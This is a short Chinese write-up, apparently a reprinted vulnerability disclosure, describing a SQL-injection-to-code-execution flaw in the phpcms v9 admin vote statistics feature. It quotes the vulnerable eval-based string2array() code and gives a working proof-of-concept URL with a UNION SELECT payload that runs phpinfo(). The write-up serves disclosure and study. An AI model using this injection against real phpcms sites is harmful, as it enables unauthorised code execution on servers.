来源:自学PHP网 时间:2015-04-17 14:47 作者: 阅读:次
[导读] phpcms v9 后台的一个(sql inj)2(code exec)漏洞by flyh4t www.2cto.comphpcms v9 中 string2array()函数使用了eval函数,在多个地方可能造成代码执行漏洞function string2array($data) { if($data ......
phpcms v9 后台的一个(sql inj)2(code exec)漏洞 function string2array($data) { if($data == '') return array(); eval("\$array = $data;"); return $array; }
比如投票结果统计(需要后台权限) /** * 投票结果统计 */ public function statistics() { $subjectid = $_GET['subjectid']; $show_validator = $show_scroll = $show_header = true; //获取投票信息 $sdb = pc_base::load_model('vote_data_model'); //加载投票统计的数据模型 $infos = $sdb->select("subjectid = $subjectid",'data'); //$subjectid没有过滤 //新建一数组用来存新组合数据 $total = 0; $vote_data =array(); $vote_data['total'] = 0 ;//所有投票选项总数 $vote_data['votes'] = 0 ;//投票人数 //循环每个会员的投票记录 foreach($infos as $subjectid_arr) {//通过sql注入漏洞控制结果 extract($subjectid_arr); $arr = string2array($data);//进入eval函数 foreach($arr as $key => $values){ $vote_data[$key]+=1; } $total += array_sum($arr); $vote_data['votes']++ ; } $vote_data['total'] = $total ; //取投票选项 $options = $this->db2->get_options($subjectid); include $this->admin_tpl('vote_statistics'); } poc代码 index.php?m=vote&c=vote&a=statistics&show_type=1&subjectid=0 union select 0x706870696E666F2829/*&siteid=1&pc_hash=LFeCIl pc_hash每次不一样 |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com